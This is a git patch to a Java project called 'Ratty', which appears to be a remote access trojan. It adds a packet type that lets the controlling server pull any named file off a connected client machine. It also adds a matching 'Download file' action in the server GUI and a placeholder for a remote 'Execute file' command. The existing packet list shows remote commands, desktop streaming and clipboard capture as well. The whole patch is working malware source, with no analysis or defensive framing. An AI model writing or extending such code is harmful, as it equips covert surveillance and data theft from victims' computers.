From 88de263a32647b18df7c6cb49c4fa19c9835f848 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Mon, 1 Feb 2016 17:26:36 +0100 Subject: [PATCH] Major changes Implemented file download --- .../de/sogomn/rat/packet/DownloadPacket.java | 75 +++++++++++++++++++ .../src/de/sogomn/rat/packet/PacketType.java | 3 +- .../sogomn/rat/server/gui/FileTreePanel.java | 1 + .../rat/server/gui/RattyGuiController.java | 7 ++ 4 files changed, 85 insertions(+), 1 deletion(-) create mode 100644 Ratty/src/de/sogomn/rat/packet/DownloadPacket.java diff --git a/Ratty/src/de/sogomn/rat/packet/DownloadPacket.java b/Ratty/src/de/sogomn/rat/packet/DownloadPacket.java new file mode 100644 index 0000000..ac084cb --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/DownloadPacket.java @@ -0,0 +1,75 @@ +package de.sogomn.rat.packet; + +import java.io.File; + +import de.sogomn.engine.util.FileUtils; +import de.sogomn.rat.ActiveClient; + +public final class DownloadPacket extends AbstractPingPongPacket { + + private String path, fileName; + private byte[] data; + + public DownloadPacket(final String path) { + this.path = path; + + type = REQUEST; + } + + public DownloadPacket() { + this(""); + + type = DATA; + } + + @Override + protected void sendRequest(final ActiveClient client) { + client.writeUTF(path); + } + + @Override + protected void sendData(final ActiveClient client) { + client.writeInt(data.length); + client.writeUTF(fileName); + client.write(data); + } + + @Override + protected void receiveRequest(final ActiveClient client) { + path = client.readUTF(); + } + + @Override + protected void receiveData(final ActiveClient client) { + final int length = client.readInt(); + + data = new byte[length]; + fileName = client.readUTF(); + + client.read(data); + } + + @Override + protected void executeRequest(final ActiveClient client) { + final File file = new File(path); + + if (file.exists() && !file.isDirectory()) { + fileName = file.getName(); + data = FileUtils.readExternalData(path); + type = DATA; + + client.addPacket(this); + } + } + + @Override + protected void executeData(final ActiveClient client) { + FileUtils.createFile(fileName); + FileUtils.writeData(fileName, data); + } + + public String getFileName() { + return fileName; + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index f5da39b..a799a5f 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -11,7 +11,8 @@ public enum PacketType { COMMAND(6, CommandPacket.class), DESKTOP(7, DesktopStreamPacket.class), CLIPBOARD(8, ClipboardPacket.class), - FILE(9, FileSystemPacket.class); + FILE(9, FileSystemPacket.class), + DOWNLOAD(10, DownloadPacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java index 610709b..44938a4 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java @@ -44,6 +44,7 @@ public final class FileTreePanel { public static final String DOWNLOAD = "Download file"; public static final String UPLOAD = "Upload file"; public static final String DELETE = "Delete file"; + public static final String EXECUTE = "Execute file";//TODO Add public static final String NEW_FOLDER = "New folder"; public static final String[] COMMANDS = { diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index d09c05f..9a69ce6 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -8,6 +8,7 @@ import de.sogomn.rat.IClientObserver; import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.DesktopStreamPacket; +import de.sogomn.rat.packet.DownloadPacket; import de.sogomn.rat.packet.FileSystemPacket; import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; @@ -71,6 +72,12 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final String path = treePanel.getLastPathClicked(); final FileSystemPacket packet = new FileSystemPacket(path); + return packet; + } else if (command == FileTreePanel.DOWNLOAD) { + final FileTreePanel treePanel = serverClient.getTreePanel(); + final String path = treePanel.getLastPathClicked(); + final DownloadPacket packet = new DownloadPacket(path); + return packet; }